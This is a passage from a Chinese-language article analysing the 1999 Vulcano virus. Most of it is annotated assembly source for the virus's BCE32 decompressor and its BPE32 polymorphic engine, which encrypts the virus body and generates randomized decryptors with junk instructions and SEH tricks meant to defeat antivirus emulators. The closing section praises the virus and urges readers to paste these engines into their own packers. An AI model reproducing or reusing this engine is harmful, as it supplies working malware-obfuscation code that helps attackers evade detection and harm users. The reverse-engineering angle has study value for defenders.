;Decompression routine from BCE32 starts here.;这里为BCE32解压函数  pushad          ;save all regs  xor eax, eax        ;EAX = 0  xor ebp, ebp        ;EBP = 0  cdq          ;EDX = 0  lodsb          ;load decryption key  push eax        ;store it  lodsb          ;load first byte  push 8          ;store 8  push edx        ;store 0d_bits:  push ecx        ;store ECX  test al, 80h        ;test for 1  jne db0  test al, 0c0h        ;test for 00  je db1  test al, 0a0h        ;test for 010  je db2  mov cl, 6        ;its 011  jmp tb2testb:  test bl, 1        ;is it 1 ?  jne p1  push 0          ;no, store 0_tb_:  mov eax, ebp        ;load byte to EAX  or al, [esp]        ;set bit  ror al, 1        ;and make space for next one  call cbit  retp1:  push 1          ;store 1  jmp _tb_        ;and continuedb0:  xor cl, cl        ;CL = 0  mov byte ptr [esp+4], 1      ;store 1testbits:  push eax        ;store it  push ebx        ;...  mov ebx, [esp+20]      ;load parameter  ror bl, cl        ;shift to next bit group  call testb        ;test bit  ror bl, 1        ;next bit  call testb        ;test it  pop ebx          ;restore regs  pop eax  mov ecx, [esp+4]      ;load parameterbcopy:  cmp byte ptr [esp+8], 8      ;8. bit ?  jne dnlb        ;nope, continue  mov ebx, eax        ;load next byte  lodsb  xchg eax, ebx  mov byte ptr [esp+8], 0      ;and nulify parameter  dec dword ptr [esp]      ;decrement parameterdnlb:  shl al, 1        ;next bit  test bl, 80h        ;is it 1 ?  je nb          ;no, continue  or al, 1        ;yeah, set bitnb:  rol bl, 1        ;next bit  inc byte ptr [esp+8]      ;increment parameter  loop bcopy        ;and align next bits  pop ecx          ;restore ECX  inc ecx          ;test flags  dec ecx          ;...  jns d_bits        ;if not sign, jump  pop eax          ;delete pushed parameters  pop eax          ;...  pop eax          ;...  popad          ;restore all regs  ;从这里跳入解密后的病毒  jmp decompressedcbit:  inc edx          ;increment counter  cmp dl, 8        ;byte full ?  jne n_byte        ;no, continue  stosb          ;yeah, store byte  xor eax, eax        ;and prepare next one  cdq          ;...n_byte:  mov ebp, eax        ;save back byte  ret Pshd        ;quit from procedure with one parameter on stackdb1:  mov cl, 2        ;2. bit in decryption key  mov byte ptr [esp+4], 2      ;2 bit wide  jmp testbits        ;test bitsdb2:  mov cl, 4        ;4. bittb2:  mov byte ptr [esp+4], 3      ;3 bit wide  jmp testbits        ;test bits
5.BPE32变形引擎分析
以下是vulcano变形引擎部分.
产生的结构为:
call 解密头
解密代码
解密头
跳转到解密代码运行
这里只做了简单的分析和注释
这篇文章由nEINEI写的<<BPE32 多态引擎剖析>>
文章链接:http://www.xfocus.net/articles/200811/989.html
详细的分析了此引擎,我这里也就不多YY了。
想大概的了解一下BPE32引擎的可以看下我的注释.
代码:
;; 这里定义了一些TASM汇编器没有记录的指令RDTCS  equ  <dw  310Fh>      ;RDTCS opcodeSALC  equ  <db  0D6h>      ;SALC opcode;; 参数;; esi:指向病毒原始数据;; edi:指向输出缓冲指针;; ecx:原始病毒的长度;; 返回值;; eax:解码器头与加密数据后大小BPE32   Proc  ;; 保存所有寄存器  pushad          ;save all regs  ;; 保存edi,ecx  push edi        ;save these regs for l8r use  push ecx        ;  ...  ;; edx = edi  mov edx, edi        ;  ...  ;; 保存esi寄存器  push esi        ;preserve this reg  ;; 产生花指令,可以到rjunk进行分析  call rjunk        ;generate random junk instructions  ;; 恢复esi寄存器  pop esi          ;restore it  ;; 创建一个CALL指令  mov al, 0e8h        ;create CALL instruction  stosb          ;  ...  ;; eax为加密数据的大小  mov eax, ecx        ;  ...  imul eax, 4        ;  ...  ;; 设置跳转偏移,加密  stosd          ;  ...    ;; eax指向缓冲的头指针  mov eax, edx        ;calculate size of CALL+junx  ;; 与当前的指针做减法,取出偏移  sub edx, edi        ;  ...  neg edx          ;  ...  ;; 得到解密头的位置   add edx, eax        ;  ...  ;; 保存解密头的位置  push edx        ;save it    ;; 获取一个随机值  push 0          ;get random number  call random        ;  ...  ;; 将随机值设置给edx  xchg edx, eax  ;; 设置随机值  mov [ebp + xor_key - mgdelta], edx  ;use it as xor constant  ;; 产生一个随机值  push 0          ;get random number  call random        ;  ...  ;; 随机值保存给ebx  xchg ebx, eax  ;; 设置给增长量,用作解密KEY的增长  mov [ebp + key_inc - mgdelta], ebx  ;use it as key increment constant  ;; 读取一个DWORDx_loop:  lodsd          ;load DWORD  ;; 用当前密钥加密  xor eax, edx        ;encrypt it  stosd          ;store encrypted DWORD  ;; 密钥+增长量=新的密钥  add edx, ebx        ;increment key  ;; 下一个DWORD  loop x_loop        ;next DWORD    ;; 产生花指令  call rjunk        ;generate junx    ;; 产生一个SEH处理  mov eax, 0006e860h      ;generate SEH handler  stosd          ;  ...  mov eax, 648b0000h      ;  ...  stosd          ;  ...  mov eax, 0ceb0824h      ;  ...  stosd          ;  ...  ;; 获取一个随机的寄存器greg0:  call get_reg        ;get random register  ;; 必须不是ebp,这个数字的对应  ;; 与INTEL的IA32编码映射相同  cmp al, 5        ;MUST NOT be EBP register  ;; 如果是则重新产生   je greg0  ;; 将寄存器的代号设置给bl  mov bl, al        ;store register  ;; 产生一个类似与XOR的指令  mov dl, 11        ;proc parameter (do not generate MOV)  ;; 进入到make_xor进行分析  ;; bl与dl用作参数用  call make_xor        ;create XOR or SUB instruction  ;; 清除edx  inc edx          ;destroy parameter  ;; 产生一个prefix前缀,64h表示段选择子  ;; 使用FS  mov al, 64h        ;generate FS:  stosb          ;store it  ;; 896430ffh其实是一段指令  ;; bl为要使用的寄存器  mov eax, 896430ffh      ;next SEH instructions  ;; 设置这为使用这个寄存器  or ah, bl        ;change register  stosd          ;store them  mov al, 20h        ;  ...  add al, bl        ;  ...  stosb          ;  ...    ;; 取得一个0-2随机数,采用4字节跳转还是2字节跳转  ;; 也算是一个小的变形吧  push 2          ;get random number  call random  test eax, eax  je _byte_  mov al, 0feh        ;generate INC DWORD PTR  jmp _dw__byte_:  mov al, 0ffh        ;generate INC BYTE PTR_dw_:  stosb          ;store it  mov al, bl        ;store register  stosb          ;  ...  ;; 设置异常处理程序的跳转  mov al, 0ebh        ;generate JUMP SHORT  stosb          ;  ...  mov al, -24d        ;generate jump to start of code (trick        stosb                                   ;for better emulators, e.g. NODICE32)    ;; 产生花指令  call rjunk        ;generate junx  ;; 随机获取一个寄存器,不能是ebpgreg1:  call get_reg        ;generate random register  cmp al, 5        ;MUST NOT be EBP  je greg1  ;; 将寄存器设置给bl  mov bl, al        ;store it  ;; 产生一条清0指令  call make_xor        ;generate XOR,SUB reg, reg or MOV reg, 0    ;; 建立SEH处理  mov al, 64h        ;next SEH instructions  stosb          ;  ...  mov al, 8fh        ;  ...  stosb          ;  ...  mov al, bl        ;  ...  stosb          ;  ...  mov al, 58h        ;  ...  add al, bl        ;  ...  stosb          ;  ...    ;; 产生一个CALL指令  mov al, 0e8h        ;generate CALL  stosb          ;  ...  xor eax, eax        ;  ...  stosd          ;  ...  push edi        ;store for l8r use  ;; 产生随机花指令  call rjunk        ;call junk generator  ;; 产生一个随机寄存器并设置给bl  call get_reg        ;random register  mov bl, al        ;store it  ;; 产生0-1的随机值  push 1          ;random number (0-1)  call random        ;  ...  ;; 如果不为0则跳转到next_delta运行  test eax, eax  jne next_delta  ;; 如果是0  ;; 产生一个mov reg, [esp]; pop eax之类的指令  mov al, 8bh        ;generate MOV reg, [ESP]; POP EAX  stosb  mov al, 80h  or al, bl  rol al, 3  stosb  mov al, 24h  stosb  mov al, 58h  jmp bdeltanext_delta:  ;; 产生pop reg类似的指令  mov al, bl        ;generate POP reg; SUB reg, ...  add al, 58hbdelta:  stosb  mov al, 81h  stosb  mov al, 0e8h  add al, bl  stosb  pop eax  stosd  ;; 产生随机花指令  call rjunk        ;random junx  ;; 到此分析截住,下里面的代码其实与上面大体相同  ;; 都是合成不同种类的解密头的部分  xor bh, bh        ;parameter (first execution only)  call greg2        ;generate MOV sourcereg, ...  mov al, 3        ;generate ADD sourcereg, deltaoffset  stosb          ;  ...  mov al, 18h        ;  ...  or al, bh        ;  ...  rol al, 3        ;  ...  or al, bl        ;  ...  stosb          ;  ...  mov esi, ebx        ;store EBX  call greg2        ;generate MOV countreg, ...  mov cl, bh        ;store count register  mov ebx, esi        ;restore EBX  call greg3        ;generate MOV keyreg, ...  push edi        ;store this position for jump to decryptor  mov al, 31h        ;generate XOR [sourcereg], keyreg  stosb          ;  ...  mov al, ch        ;  ...  rol al, 3        ;  ...  or al, bh        ;  ...  stosb          ;  ...  push 6          ;this stuff will choose ordinary of calls  call random        ;to code generators  test eax, eax  je g5          ;GREG4 - key incremention  cmp al, 1        ;GREG5 - source incremention  je g1          ;GREG6 - count decremention  cmp al, 2        ;GREG7 - decryption loop  je g2  cmp al, 3  je g3  cmp al, 4  je g4g0:  call gg1  call greg6  jmp g_endg1:  call gg2  call greg5  jmp g_endg2:  call greg5  call gg2  jmp g_endg3:  call greg5gg3:  call greg6  jmp g_outg4:  call greg6  call gg1  jmp g_endg5:  call greg6  call greg5g_out:  call greg4g_end:  call greg7  mov al, 61h        ;generate POPAD instruction  stosb          ;  ...  call rjunk        ;junk instruction generator  mov al, 0c3h        ;RET instruction  stosb          ;  ...  pop eax          ;calculate size of decryptor and encrypted data  sub eax, edi        ;  ...  neg eax          ;  ...  mov [esp.Pushad_eax], eax    ;store it to EAX register  popad          ;restore all regs  ret          ;and thats all folxget_reg proc          ;this procedure generates random register  push 8          ;random number (0-7)  call random        ;  ...  test eax, eax  je get_reg        ;MUST NOT be 0 (=EAX is used as junk register)  cmp al, 100b        ;MUST NOT be ESP  je get_reg  retget_reg endp;; 随机产生一个异或指令make_xor proc          ;this procedure will generate instruction, that  ;; 产生一个随机数0-3  push 3          ;will nulify register (BL as parameter)  call random  ;; 对比,并进入相应的产生代码  test eax, eax  je _sub_  cmp al, 1  je _mov_  mov al, 33h        ;generate XOR reg, reg  jmp _xor_  ;; 产生一个sub reg, reg的清0指令_sub_:  mov al, 2bh        ;generate SUB reg, reg  ;; 设置这个opcode_xor_:  stosb  ;; 换算寄存器  mov al, 18h  or al, bl  rol al, 3  or al, bl  ;; 设置  stosb  ret  ;; 如果是dl=11将不产生mov reg, 0类似的指令_mov_:  cmp dl, 11        ;generate MOV reg, 0  je make_xor  ;; 0b8是mov的opcode  mov al, 0b8h  ;; 换算寄存器  add al, bl  stosb  xor eax, eax  stosd  retmake_xor endpgg1:  call greg4  jmp greg5gg2:  call greg4  jmp greg6;; 产生一个随机值,如果参数是0则直接返回0random  proc          ;this procedure will generate random number            ;in range from 0 to pushed_parameter-1            ;0 = do not truncate result  push edx        ;save EDX        RDTCS          ;RDTCS instruction - reads PCs tix and stores            ;number of them into pair EDX:EAX  xor edx, edx        ;nulify EDX, we need only EAX  cmp [esp+8], edx      ;is parameter==0 ?  je r_out        ;yeah, do not truncate result  div dword ptr [esp+8]      ;divide it  xchg eax, edx        ;remainder as resultr_out:  pop edx          ;restore EDX  ret Pshd        ;quit procedure and destroy pushed parameterrandom  endpmake_xor2 proc          ;create XOR instruction  mov al, 81h  stosb  mov al, 0f0h  add al, bh  stosb  retmake_xor2 endpgreg2  proc          ;1 parameter = source/count value  call get_reg        ;get register  cmp al, bl        ;already used ?  je greg2  cmp al, 5  je greg2  cmp al, bh  je greg2  mov bh, al  mov ecx, [esp+4]      ;get parameter  push 5          ;choose instructions  call random  test eax, eax  je s_next0  cmp al, 1  je s_next1  cmp al, 2  je s_next2  cmp al, 3  je s_next3  mov al, 0b8h        ;MOV reg, random_value  add al, bh        ;XOR reg, value  stosb          ;param = random_value xor value  push 0  call random  xor ecx, eax  stosd  call make_xor2  mov eax, ecx  jmp n_end2s_next0:mov al, 68h        ;PUSH random_value  stosb          ;POP reg  push 0          ;XOR reg, value  call random        ;result = random_value xor value  xchg eax, ecx  xor eax, ecx  stosd  mov al, 58h  add al, bh  stosb  call make_xor2  xchg eax, ecx  jmp n_end2s_next1:mov al, 0b8h        ;MOV EAX, random_value  stosb          ;MOV reg, EAX  push 0          ;SUB reg, value  call random        ;result = random_value - value  stosd  push eax  mov al, 8bh  stosb  mov al, 18h  or al, bh  rol al, 3  stosb  mov al, 81h  stosb  mov al, 0e8h  add al, bh  stosb  pop eax  sub eax, ecx  jmp n_end2s_next2:push ebx        ;XOR reg, reg  mov bl, bh        ;XOR reg, random_value  call make_xor        ;ADD reg, value  pop ebx          ;result = random_value + value  call make_xor2  push 0  call random  sub ecx, eax  stosd  push ecx  call s_lbl  pop eax  jmp n_end2s_lbl:  mov al, 81h        ;create ADD reg, ... instruction  stosb  mov al, 0c0h  add al, bh  stosb  rets_next3:push ebx        ;XOR reg, reg  mov bl, bh        ;ADD reg, random_value  call make_xor        ;XOR reg, value  pop ebx          ;result = random_value xor value  push 0  call random  push eax  xor eax, ecx  xchg eax, ecx  call s_lbl  xchg eax, ecx  stosd  call make_xor2  pop eax  n_end2:  stosd  push esi  call rjunk  pop esi  ret Pshdgreg2  endpgreg3  proc  call get_reg        ;get register  cmp al, 5        ;already used ?  je greg3  cmp al, bl  je greg3  cmp al, bh  je greg3  cmp al, cl  je greg3  mov ch, al  mov edx, 0      ;get encryption key valuexor_key = dword ptr $ - 4  push 3  call random  test eax, eax  je k_next1  cmp al, 1  je k_next2  push ebx        ;XOR reg, reg  mov bl, ch        ;OR, ADD, XOR reg, value  call make_xor  pop ebx  mov al, 81h  stosb  push 3  call random  test eax, eax  je k_nxt2  cmp al, 1  je k_nxt3  mov al, 0c0hk_nxt1:  add al, ch  stosb  xchg eax, edxn_end1:  stosdk_end:  call rjunk  retk_nxt2:  mov al, 0f0h  jmp k_nxt1k_nxt3:  mov al, 0c8h  jmp k_nxt1k_next1:mov al, 0b8h        ;MOV reg, value  jmp k_nxt1k_next2:mov al, 68h        ;PUSH value  stosb          ;POP reg  xchg eax, edx  stosd  mov al, ch  add al, 58h  jmp i_end1greg3  endpgreg4  proc  mov edx, 0       ;get key increment valuekey_inc = dword ptr $ - 4i_next:  push 3  call random  test eax, eax  je i_next0  cmp al, 1  je i_next1  cmp al, 2  je i_next2  mov al, 90h        ;XCHG EAX, reg  add al, ch        ;XOR reg, reg  stosb          ;OR reg, EAX  push ebx        ;ADD reg, value  mov bl, ch  call make_xor  pop ebx  mov al, 0bh  stosb  mov al, 18h  add al, ch  rol al, 3  stosbi_next0:mov al, 81h        ;ADD reg, value  stosb  mov al, 0c0h  add al, ch  stosb  xchg eax, edx  jmp n_end1i_next1:mov al, 0b8h        ;MOV EAX, value  stosb          ;ADD reg, EAX  xchg eax, edx  stosd  mov al, 3  stosb  mov al, 18h  or al, ch  rol al, 3i_end1:  stosbi_end2:  call rjunk  reti_next2:mov al, 8bh        ;MOV EAX, reg  stosb          ;ADD EAX, value  mov al, 0c0h        ;XCHG EAX, reg  add al, ch  stosb  mov al, 5  stosb  xchg eax, edx  stosd  mov al, 90h  add al, ch  jmp i_end1greg4  endpgreg5  proc  push ecx  mov ch, bh  push 4  pop edx  push 2  call random  test eax, eax  jne ng5  call i_next        ;same as previous, value=4  pop ecx  jmp k_endng5:  mov al, 40h        ;4x inc reg  add al, ch  pop ecx  stosb  stosb  stosb  jmp i_end1greg5  endpgreg6  proc  push 5  call random  test eax, eax  je d_next0  cmp al, 1  je d_next1  cmp al, 2  je d_next2  mov al, 83h        ;SUB reg, 1  stosb  mov al, 0e8h  add al, cl  stosb  mov al, 1  jmp i_end1d_next0:mov al, 48h        ;DEC reg  add al, cl  jmp i_end1d_next1:mov al, 0b8h        ;MOV EAX, random_value  stosb          ;SUB reg, EAX  push 0          ;ADD reg, random_value-1  call random  mov edx, eax  stosd  mov al, 2bh  stosb  mov al, 18h  add al, cl  rol al, 3  stosb  mov al, 81h  stosb  mov al, 0c0h  add al, cl  stosb  dec edx  mov eax, edx  jmp n_end1d_next2:mov al, 90h        ;XCHG EAX, reg  add al, cl        ;DEC EAX  stosb          ;XCHG EAX, reg  mov al, 48h  stosb  mov al, 90h  add al, cl  jmp i_end1greg6  endpgreg7  proc  mov edx, [esp+4]  dec edx  push 2  call random  test eax, eax  je l_next0  mov al, 51h        ;PUSH ECX  stosb          ;MOV ECX, reg  mov al, 8bh        ;JECXZ label  stosb          ;POP ECX  mov al, 0c8h        ;JMP decrypt_loop  add al, cl        ;label:  stosb          ;POP ECX  mov eax, 0eb5903e3h  stosd  sub edx, edi  mov al, dl  stosb  mov al, 59h  jmp l_nextl_next0:push ebx        ;XOR EAX, EAX  xor bl, bl        ;DEC EAX  call make_xor        ;ADD EAX, reg  pop ebx          ;JNS decrypt_loop  mov al, 48h  stosb  mov al, 3  stosb  mov al, 0c0h  add al, cl  stosb  mov al, 79h  stosb  sub edx, edi  mov al, dll_next:  stosb  call rjunk  ret Pshdgreg7  endprjunkjc:push 7  call random  jmp rjn;; 产生花指令;; BPE32总共有8组花指令类型,0-7;; 又用0 - 7,8个数字进行了映射;; 例如1=1+2代表,如果获取到一个随机数的值为1;; 那么取第一组的花指令然后取第二组的花指令;; 0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call;; 以下会以此分析这几组产生花指令的代码;; 这段随机花指令产生写的很不错,很多技巧值得学习rjunk  proc      ;junk instruction generator  ;; 产生一个0 - 7的随机值  push 8  call random    ;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call  ;; 对比并进入相应的处理程序rjn:  test eax, eax  je j5  cmp al, 1  je j_1x2  cmp al, 2  je j_2x1  cmp al, 4  je j2  cmp al, 5  je j3  cmp al, 6  je r_end  cmp al, 7  je jcj    ;; 如果随机值是1或者3j1:  call junx1    ;one byte junk instruction  nop  dec eax  SALC  inc eax  clc  cwde  stc  cld  ;; 这里为产生1字节的花支付令  ;; esi指向由1字节花指令产生的表,总共8条junx1:  pop esi  ;; 再产生一个0-7的随机数,选取一个花指令  push 8  call random  ;; esi为花指令的地址  add esi, eax  ;; 移动到edi指向的内存中  movsb  ret  ;; 这里为当随机值号为1时,先建立一个1字节的花指令  ;; 然后再建立一个2字节的花指令j_1x2:  call j1      ;one byte and two byte  jmp j2  ;; 这里为当随机值号为2时,先建立一个2字节的花指令  ;; 然后再建立一个1字节的花指令j_2x1:  call j2      ;two byte and one byte  jmp j1  ;; 这里为当随机值号为1时,先建立一个3字节的花指令j3:  call junx3  db  0c1h, 0c0h  ;rol eax, ...  db  0c1h, 0e0h  ;shl eax, ...  db  0c1h, 0c8h  ;ror eax, ...  db  0c1h, 0e8h  ;shr eax, ...  db  0c1h, 0d0h  ;rcl eax, ...  db  0c1h, 0f8h  ;sar eax, ...  db  0c1h, 0d8h  ;rcr eax, ...  db  083h, 0c0h  db  083h, 0c8h  db  083h, 0d0h  db  083h, 0d8h  db  083h, 0e0h  db  083h, 0e8h  db  083h, 0f0h  db  083h, 0f8h  ;cmp eax, ...  db  0f8h, 072h  ;clc; jc ...  db  0f9h, 073h  ;stc; jnc ...  ;; esi指向3字节花指令表,这里都是一些移动等无伤大雅的opcde  ;; 后面添加一个随机数junx3:  pop esi      ;three byte junk instruction  ;; 生成一个0-17之间的随机数  push 17  call random  ;; 这个随机数乘2  imul eax, 2  ;; 将当前的读取地址与这个值相加  ;; 后的地址作为读取  add esi, eax  ;; 设置两个字节  movsb  movsb  ;; 产生一个0r_ran:  push 0  call random  test al, al  je r_ran  stosb  ret  ;; 这里为当随机值号为4时  ;; 产生一个2字节的花指令j2:  call junx2  db  8bh    ;mov eax, ...  db  03h    ;add eax, ...  db  13h    ;adc eax, ...  db  2bh    ;sub eax, ...  db  1bh    ;sbb eax, ...  db  0bh    ;or eax, ...  db  33h    ;xor eax, ...  db  23h    ;and eax, ...  db  33h    ;test eax, ...  ;; esi指向2字节的花指令表,总共有9个junx2:  pop esi      ;two byte junk instruction  push 9  call random  add esi, eax  movsb  ;; 产生一个0-8的花指令  push 8  call random  ;; 做与运算  add al, 11000000b  stosbr_end:  ret  ;; 这里为当随机值号为0时  ;; 产生一个5字节的花指令j5:  call junx5  db  0b8h    ;mov eax, ...  db  05h    ;add eax, ...  db  15h    ;adc eax, ...  db  2dh    ;sub eax, ...  db  1dh    ;sbb eax, ...  db  0dh    ;or eax, ...  db  35h    ;xor eax, ...  db  25h    ;and eax, ...  db  0a9h    ;test eax, ...  db  3dh    ;cmp eax, ...  ;; esi指向5字节的花指令表,总共有10个junx5:  pop esi      ;five byte junk instruction  push 10  call random  add esi, eax  movsb  ;; 产生一个4字节的随机数  push 0  call random  stosd  ret  ;; 这里为当随机值号为7时  ;; 产生一个伪跳转字节的花指令  ;; 跳入rjunkjc标签(向上),在rjunkjc中  ;; 执行的操作为,首先再次产生一个0-6之间  ;; 的随机花指令,然后再创建一个伪跳转jcj:  call rjunkjc    ;junk  ;; 保存edx, ebx, ecx寄存器的值  push edx    ;CALL label1  push ebx    ;junk  push ecx    ;JMP label2  ;; 设置一个CALL指令的opcode  mov al, 0e8h    ;junk  stosb      ;label1: junk  ;; 保存edi,设置了跳转opcode后的指针  push edi    ;RET  ;; 从当前esi指向处随便读取一个值进行填充  stosd      ;junk  ;; 保存edi,指向设置了偏移后的指针  push edi    ;label2:  ;; 产生随机花指令,除了伪跳转  call rjunkjc    ;junk  ;; 产生一个伪跳转,并设置跳转的opcode-0e9h  mov al, 0e9h  stosb  ;; 将edi当前的指针设置给ecx  mov ecx, edi  ;; 随遍从esi中取出一个值设置  stosd  ;; 将目前的edi设置给ebx  mov ebx, edi  ;; 产生花指令  call rjunkjc  ;; eax中保存了,产生第一个伪跳后的指针  pop eax  ;; 于第二条伪跳后的指针做减法  sub eax, edi  ;; 换算为正数  neg eax  ;; 当前添加花指令后的指针设置给edx  mov edx, edi  ;; 恢复edi到第一个伪跳的opcode之后指针  pop edi  ;; 将eax偏移设置到其后,第一个伪跳跳到第  ;; 二个伪跳  stosd  ;; 恢复edi  mov edi, edx  ;; 产生花指令  call rjunkjc  ;; 设置一个ret(c3h)指令  mov al, 0c3h  stosb  ;; 产生花指令,除了第7号  call rjunkjc  ;; 设置第2个伪跳的偏移  sub ebx, edi  neg ebx  xchg eax, ebx  push edi  mov edi, ecx  stosd  ;; 恢复edi寄存器  pop edi  ;; 产生花指令,除了第7号  call rjunkjc  ;; 恢复寄存器  pop ecx  pop ebx  pop edx  retrjunk  endpBPE32     EndP      ;BPE32 ends here
6.借鉴的技巧
这个病毒写的确实非常好.作者的构思,以及编码技巧都值得我们借鉴到自己的壳中
这个病毒最实际的是给出了几个很不错函数例如BPE32变形引擎,BCE32压缩引擎这些
都可以直接拖到我们自己的壳中使用,或者在其上进行山寨.做到青出于蓝而胜于蓝的
山寨效果.还有像多线程通讯这种技巧非常值得在壳中得到应用.
这个病毒整体用的最多是一个自修改的编码技巧,例如:
mov eax, 0
_xx_ = dword ptr $ - 4
接下来是
call eax
或者
stosd
这些操作eax寄存器的技巧.都值得我们借鉴.
最后 - 希望大家喜欢这个99年的经典病毒,以及我的文章! ^_^


<SCRIPT type=text/javascript><!--google_ad_client = "pub-1585618761901261";google_alternate_color = "F7F7F7";google_ad_width = 468;google_ad_height = 60;google_ad_format = "468x60_as";google_ad_type = "text";//2007-04-17: bbs.postgoogle_ad_channel = "0724307974";google_color_border = "F7F7F7";google_color_bg = "F7F7F7";google_color_link = "003399";google_color_text = "000000";google_color_url = "008000";//--></SCRIPT><SCRIPT src="images/show_ads.js" type=text/javascript></SCRIPT>